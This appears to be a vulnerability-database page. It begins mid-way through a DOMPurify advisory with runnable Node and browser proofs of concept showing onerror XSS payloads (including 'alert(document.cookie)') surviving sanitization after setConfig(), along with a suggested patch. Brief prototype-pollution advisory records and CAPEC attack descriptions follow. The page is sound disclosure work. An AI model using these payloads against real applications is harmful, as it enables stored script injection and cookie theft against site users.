hook is registered AND the set still points at the default constant, clone it.\n//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original.\"\nif ( ... \u0026\u0026 hooks.uponSanitizeAttribute.length \u003e 0) {\n  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961\n}\nif ( ... hooks.uponSanitizeAttribute.length \u003e 0 ... ) {\n  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968\n}\n```\n\n`sanitize()` skips `_parseConfig` on the persistent-config path:\n\n```\n// src/purify.ts  DOMPurify.sanitize()  (line 2369)\nif (!SET_CONFIG) {\n  _parseConfig(cfg);          // \u003c-- clone-guard lives in here; SKIPPED when SET_CONFIG is true\n}\n```\n\n`setConfig()` sets the flag that disables the guard:\n\n```\n// src/purify.ts  (lines 2596-2598)\nDOMPurify.setConfig = function (cfg = {}) {\n  _parseConfig(cfg);\n  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig\n};\n```\n\nThe hook is handed the **live** allowlist binding, and there is no secondary event-handler defense:\n\n```\n// src/purify.ts (line 2088) \u2014 hook event exposes the shared object by reference\nallowedAttributes: ALLOWED_ATTR,\n// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself\n// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.\n```\n\n**Net:** after `setConfig()`, the clone-guard never runs, so the hook\u0027s `allowedAttributes` mutation is a permanent write to the instance\u0027s shared `ALLOWED_ATTR`.\n\n---\n\n## Proof of Concept\n\nEnvironment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance).\n\n### PoC 1 \u2014 the leak (trusted render permanently allows `onerror` on attacker content)\n\n```js\nconst createDOMPurify = require(\u0027dompurify\u0027);\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst DP = createDOMPurify(new JSDOM(\u0027\u0027).window);\n\n// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements\nDP.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\nDP.addHook(\u0027uponSanitizeAttribute\u0027, (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) {\n    data.allowedAttributes[\u0027onerror\u0027] = true;        // intended: trusted-only\n  }\n});\n\n// 1) A trusted widget is rendered once\nDP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e\u0027);\n\n// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance\nconsole.log(DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\u0027));\n// OUTPUT:  \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e     \u003c-- onerror SURVIVES -\u003e XSS\n```\n\n### PoC 2 \u2014 it is a DOMPurify state-leak, not \"the app allowed `on*`\" (attribute-agnostic)\n\n```js\n// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).\n// The leak is identical -\u003e the defect is a shared-state mutation in DOMPurify,\n// independent of which attribute the hook touches.\nDP.setConfig({ ALLOWED_TAGS: [\u0027span\u0027], ALLOWED_ATTR: [] });\nDP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027title\u0027] = true;\n});\nDP.sanitize(\u0027\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e\u0027);\nconsole.log(DP.sanitize(\u0027\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\u0027));   // -\u003e \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e  (leaked)\n```\n\n### PoC 3 \u2014 control: WITHOUT `setConfig()` the 3.4.7 guard holds\n\n```js\nconst DP2 = createDOMPurify(new JSDOM(\u0027\u0027).window);\nDP2.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n  if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027onerror\u0027] = true;\n});\nDP2.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e\u0027, { ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\nconsole.log(DP2.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027, { ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] }));\n// OUTPUT:  \u003cimg src=\"x\"\u003e     \u003c-- onerror correctly STRIPPED. setConfig() is the trigger.\n```\n\n### Persistence (observed)\n\n- The leak **persists after `removeAllHooks()`** \u2014 removing the hook does not clean the polluted allowlist.\n- It is **global / cross-element** \u2014 a polluted `onmouseover` survives on `\u003ca\u003e` and `\u003cdiv\u003e`, not only the originally-blessed `\u003cimg\u003e`.\n- It persists for the **instance lifetime** (survived 5/5 subsequent default calls).\n- `clearConfig()` **does** restore a clean state (this is the bound of the impact).\n\n---\n\n## Impact\n\nStored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers\u0027 browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final \u2014 no secondary control prevents execution. `onerror` on a broken-`src` `\u003cimg\u003e` fires with no user interaction (browser-confirmed; see Validation).\n\n**Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: [\u0027onerror\u0027] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist \u2014 the poisoned `ALLOWED_ATTR` is the sole gate.\n\n---\n\n## Realistic attack scenario\n\nA platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:\n\n1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`.\n2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted=\"1\"`, intending safe rich interactivity \u2014 a pattern the 3.4.7 fix was specifically meant to make safe.\n3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing `\u003cimg src=x onerror=...\u003e` passes sanitization and executes for all viewers.\n\n---\n\n## Remediation\n\nExtend the existing clone-guard to the persistent-config (`SET_CONFIG`) fast-path: when `sanitize()` skips `_parseConfig` but an `uponSanitizeAttribute` hook is registered, clone the allowlists before the walk so hook mutations cannot persist \u2014 the exact analogue of the guard already present in `_parseConfig`.\n\n```js\n// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:\nif (!SET_CONFIG) {\n  _parseConfig(cfg);\n} else if (hooks.uponSanitizeAttribute.length \u003e 0) {\n  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would\n  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.\n  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {\n    ALLOWED_ATTR = clone(ALLOWED_ATTR);\n  }\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n}\n```\n\n(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of `ALLOWED_ATTR`/`ALLOWED_TAGS` whenever `SET_CONFIG` is true, mirroring the 3.4.7 intent.)\n\nA regression test should reproduce PoC 1 and assert the attacker call returns `\u003cimg src=\"x\"\u003e`. Note the existing 3.4.7 regression test (\"unguarded attribute hook does not poison subsequent default-config calls\") never exercises `setConfig()` \u2014 adding a `setConfig` variant closes the gap.\n\n**Application-side mitigation until patched:** prefer `data.keepAttr = true` (per-element, non-persistent) over `data.allowedAttributes[name] = true` inside hooks; or call `DOMPurify.clearConfig()` between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.\n\n---\n\n## Limitations\n\n- Requires the two-part precondition above (persistent `setConfig()` **and** a hook writing `data.allowedAttributes[...]`). Not a default-config bypass.\n- Impact is bounded by `clearConfig()`, which restores a clean state. The earlier-considered \"survives `clearConfig()`\" claim did **not** reproduce and is withdrawn.\n- A position could be adopted to \"use `data.keepAttr=true`, not `allowedAttributes[]`.\" However, the 3.4.7 security fix exists precisely to defend the `allowedAttributes[]` hook pattern in the per-call path; leaving the `setConfig` path unguarded is an incomplete fix of an acknowledged security issue.\n\n## Validation\n\n- **Integrity:** the tested `dompurify@3.4.10` `dist/purify.cjs.js` (md5 `ab0e7b1cde1cbcace0f62b6aac284143`) and browser `dist/purify.min.js` (md5 `b0985f80fa48e6e7b263f8f6a64b779e`) are byte-identical to a freshly `npm pack`-ed release \u2014 the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.\n- **Node (mechanism):** PoCs 1\u20133 reproduce deterministically; `DOMPurify.isValidAttribute(\u0027img\u0027,\u0027onerror\u0027,\u0027x\u0027)` flips `false \u2192 true` after a single trusted render under `setConfig()`, proving the shared attribute gate is poisoned. Leak survives `removeAllHooks()`, is cross-element, persists for the instance lifetime, and is reset only by `clearConfig()`.\n- **Real browser (impact):** in Chrome with DOMPurify 3.4.10, assigning the attacker output to `innerHTML` **executes** the surviving `onerror` (sentinel `window.__fired = [\"ATTACKER-onerror\"]`; `onerror` DOM property is a `function`), with no user interaction. The no-`setConfig` A/B control does not fire \u2014 execution is attributable to the `setConfig` leak, not a harness artifact.\n\n---\n\n## Appendix A \u2014 Node PoC (complete, runnable)\n\n```js\n// poc.js  \u2014  npm i dompurify@3.4.10 jsdom  \u0026\u0026  node poc.js\nconst createDOMPurify = require(\u0027dompurify\u0027);\nconst { JSDOM } = require(\u0027jsdom\u0027);\nconst freshDP = () =\u003e createDOMPurify(new JSDOM(\u0027\u0027).window);\nconst log = (s) =\u003e console.log(s);\nlog(\u0027DOMPurify \u0027 + freshDP().version + \u0027\\n\u0027);\n\n// PoC 1 \u2014 the leak: trusted render permanently allows onerror on attacker content\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (node, data) =\u003e {\n    if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) {\n      data.allowedAttributes[\u0027onerror\u0027] = true;            // intended: trusted-only\n    }\n  });\n  DP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"loadWidget()\"\u003e\u0027);            // trusted render\n  const attacker = DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\u0027);  // attacker, no data-trusted\n  log(\u0027[PoC1] attacker output  : \u0027 + attacker);\n  log(\u0027[PoC1] onerror survived : \u0027 + /onerror/.test(attacker));\n  log(\u0027[PoC1] isValidAttribute(img,onerror) -\u003e \u0027 + DP.isValidAttribute(\u0027img\u0027,\u0027onerror\u0027,\u0027x\u0027) + \u0027  (shared gate poisoned)\\n\u0027);\n}\n\n// PoC 2 \u2014 attribute-agnostic: a DOMPurify state-leak, not \"the app allowed on*\"\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: [\u0027span\u0027], ALLOWED_ATTR: [] });\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027title\u0027] = true;\n  });\n  DP.sanitize(\u0027\u003cspan data-trusted=\"1\" title=\"ok\"\u003ex\u003c/span\u003e\u0027);\n  log(\u0027[PoC2] benign title leaks: \u0027 + DP.sanitize(\u0027\u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\u0027) + \u0027\\n\u0027);\n}\n\n// PoC 3 \u2014 control: WITHOUT setConfig the 3.4.7 guard holds\n{\n  const DP = freshDP();\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027onerror\u0027] = true;\n  });\n  DP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e\u0027, { ALLOWED_TAGS:[\u0027img\u0027], ALLOWED_ATTR:[\u0027src\u0027] });\n  const ctrl = DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027, { ALLOWED_TAGS:[\u0027img\u0027], ALLOWED_ATTR:[\u0027src\u0027] });\n  log(\u0027[PoC3] control output   : \u0027 + ctrl + \u0027   stripped: \u0027 + !/onerror/.test(ctrl) + \u0027\\n\u0027);\n}\n\n// Persistence: survives removeAllHooks(); reset only by clearConfig()\n{\n  const DP = freshDP();\n  DP.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\n  DP.addHook(\u0027uponSanitizeAttribute\u0027, (n, d) =\u003e {\n    if (n.getAttribute \u0026\u0026 n.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) d.allowedAttributes[\u0027onerror\u0027] = true;\n  });\n  DP.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"ok()\"\u003e\u0027);\n  DP.removeAllHooks();\n  let leaks = 0;\n  for (let i = 0; i \u003c 5; i++) if (/onerror/.test(DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(\u0027+i+\u0027)\"\u003e\u0027))) leaks++;\n  log(\u0027[persist] survived \u0027 + leaks + \u0027/5 calls after removeAllHooks()\u0027);\n  DP.clearConfig();\n  log(\u0027[persist] after clearConfig(): \u0027 + DP.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\u0027) + \u0027  (reset)\u0027);\n}\n```\n\nExpected output:\n```\n[PoC1] attacker output  : \u003cimg src=\"x\" onerror=\"alert(document.cookie)\"\u003e\n[PoC1] onerror survived : true\n[PoC1] isValidAttribute(img,onerror) -\u003e true  (shared gate poisoned)\n[PoC2] benign title leaks: \u003cspan title=\"leaked\"\u003ex\u003c/span\u003e\n[PoC3] control output   : \u003cimg src=\"x\"\u003e   stripped: true\n[persist] survived 5/5 calls after removeAllHooks()\n[persist] after clearConfig(): \u003cimg src=\"x\"\u003e  (reset)\n```\n\n## Appendix B \u2014 Browser PoC (complete; confirms execution)\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003cmeta charset=\"utf-8\"\u003e\n\u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.4.10/dist/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\u003cbody\u003e\u003cpre id=\"out\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst log = (s) =\u003e document.getElementById(\u0027out\u0027).textContent += s + \u0027\\n\u0027;\nwindow.__fired = [];\nwindow.alert = (x) =\u003e window.__fired.push(\u0027alert:\u0027 + x);   // sentinel: capture exec, no modal\nlog(\u0027DOMPurify \u0027 + DOMPurify.version);\n\n// App init: persistent policy + a hook allowing onerror ONLY for trusted elements\nDOMPurify.setConfig({ ALLOWED_TAGS: [\u0027img\u0027], ALLOWED_ATTR: [\u0027src\u0027] });\nDOMPurify.addHook(\u0027uponSanitizeAttribute\u0027, (node, data) =\u003e {\n  if (node.getAttribute \u0026\u0026 node.getAttribute(\u0027data-trusted\u0027) === \u00271\u0027) data.allowedAttributes[\u0027onerror\u0027] = true;\n});\n\nDOMPurify.sanitize(\u0027\u003cimg data-trusted=\"1\" src=\"x\" onerror=\"0\"\u003e\u0027);                 // one trusted render\nconst out = DOMPurify.sanitize(\u0027\u003cimg src=\"x\" onerror=\"alert(\\\u0027XSS:\\\u0027+document.domain)\"\u003e\u0027);  // attacker\nlog(\u0027attacker sanitized output: \u0027 + out);\nconst host = document.createElement(\u0027div\u0027);\nhost.innerHTML = out;                            // surviving onerror arms on the broken-src img\ndocument.body.appendChild(host);\n\nsetTimeout(() =\u003e {\n  log(\u0027handlers fired: \u0027 + JSON.stringify(window.__fired));\n  log(window.__fired.length ? \u0027RESULT: XSS EXECUTED\u0027 : \u0027RESULT: no execution\u0027);\n}, 500);\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\nObserved: `handlers fired: [\"alert:XSS:\u003cdomain\u003e\"]` \u2192 **RESULT: XSS EXECUTED** (no user interaction). The same harness without the `setConfig()` line strips `onerror` and does not fire.",
  "id": "GHSA-cmwh-pvxp-8882",
  "modified": "2026-06-18T14:27:37Z",
  "published": "2026-06-18T14:27:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)"
}

GHSA-CQP5-M4PQ-GFGP

Vulnerability from github – Published: 2018-07-26 15:18 – Updated: 2023-09-12 20:44
VLAI
Summary
Prototype Pollution in defaults-deep
Details

Versions of default-deep before 0.2.4 are vulnerable to prototype pollution

Recommendation

Update to version 0.2.4 or later.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "defaults-deep"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-3723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:32:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `default-deep` before 0.2.4 are vulnerable to prototype pollution\n\n\n## Recommendation\n\nUpdate to version 0.2.4 or later.",
  "id": "GHSA-cqp5-m4pq-gfgp",
  "modified": "2023-09-12T20:44:17Z",
  "published": "2018-07-26T15:18:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3723"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jonschlinkert/defaults-deep/commit/c873f341327ad885ff4d0f23b3d3bca31b0343e5"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/310514"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cqp5-m4pq-gfgp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/581"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in defaults-deep"
}

GHSA-CWX2-736X-MF6W

Vulnerability from github – Published: 2020-10-19 20:55 – Updated: 2021-11-19 14:05
VLAI
Summary
Prototype pollution in object-path
Details

Impact

A prototype pollution vulnerability has been found in object-path <= 0.11.4 affecting the set() method. The vulnerability is limited to the includeInheritedProps mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of object-path and setting the option includeInheritedProps: true, or by using the default withInheritedProps instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of set() in versions < 0.11.0 is vulnerable.

Patches

Upgrade to version >= 0.11.5

Workarounds

Don't use the includeInheritedProps: true options or the withInheritedProps instance if using a version >= 0.11.0.

References

Read more about the prototype pollution vulnerability

For more information

If you have any questions or comments about this advisory: * Open an issue in object-path

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "object-path"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-10-19T20:52:39Z",
    "nvd_published_at": "2020-10-19T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA prototype pollution vulnerability has been found in `object-path` \u003c= 0.11.4 affecting the `set()` method. The vulnerability is limited to the `includeInheritedProps` mode (if version \u003e= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of `object-path` and setting the option `includeInheritedProps: true`, or by using the default `withInheritedProps` instance. The default operating mode is not affected by the vulnerability if version \u003e= 0.11.0 is used. Any usage of `set()` in versions \u003c 0.11.0 is vulnerable.\n \n### Patches\nUpgrade to version \u003e= 0.11.5\n\n### Workarounds\nDon\u0027t use the `includeInheritedProps: true` options or the `withInheritedProps` instance if using a version \u003e= 0.11.0.\n\n### References\n[Read more about the prototype pollution vulnerability](https://codeburst.io/what-is-prototype-pollution-49482fc4b638)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [object-path](https://github.com/mariocasciaro/object-path)",
  "id": "GHSA-cwx2-736x-mf6w",
  "modified": "2021-11-19T14:05:56Z",
  "published": "2020-10-19T20:55:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mariocasciaro/object-path/security/advisories/GHSA-cwx2-736x-mf6w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15256"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mariocasciaro/object-path/commit/2be3354c6c46215c7635eb1b76d80f1319403c68"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mariocasciaro/object-path"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in object-path"
}

GHSA-FF7X-QRG7-QGGM

Vulnerability from github – Published: 2020-07-29 20:56 – Updated: 2022-08-11 14:58
VLAI
Summary
dot-prop Prototype Pollution vulnerability
Details

Prototype pollution vulnerability in dot-prop npm package versions before 4.2.1 and versions 5.x before 5.1.1 allows an attacker to add arbitrary properties to JavaScript language constructs such as objects.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dot-prop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "dot-prop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-425",
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-07-29T20:51:37Z",
    "nvd_published_at": "2020-02-04T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Prototype pollution vulnerability in dot-prop npm package versions before 4.2.1 and versions 5.x before 5.1.1 allows an attacker to add arbitrary properties to JavaScript language constructs such as objects.",
  "id": "GHSA-ff7x-qrg7-qggm",
  "modified": "2022-08-11T14:58:19Z",
  "published": "2020-07-29T20:56:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/dot-prop/issues/63"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/dot-prop/commit/3039c8c07f6fdaa8b595ec869ae0895686a7a0f2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/dot-prop/commit/c914124f418f55edea27928e89c94d931babe587"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/719856"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-ff7x-qrg7-qggm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sindresorhus/dot-prop"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/dot-prop/tree/v4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dot-prop Prototype Pollution vulnerability"
}
Mitigation
Architecture and Design Operation Implementation

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

← Back to the CWE list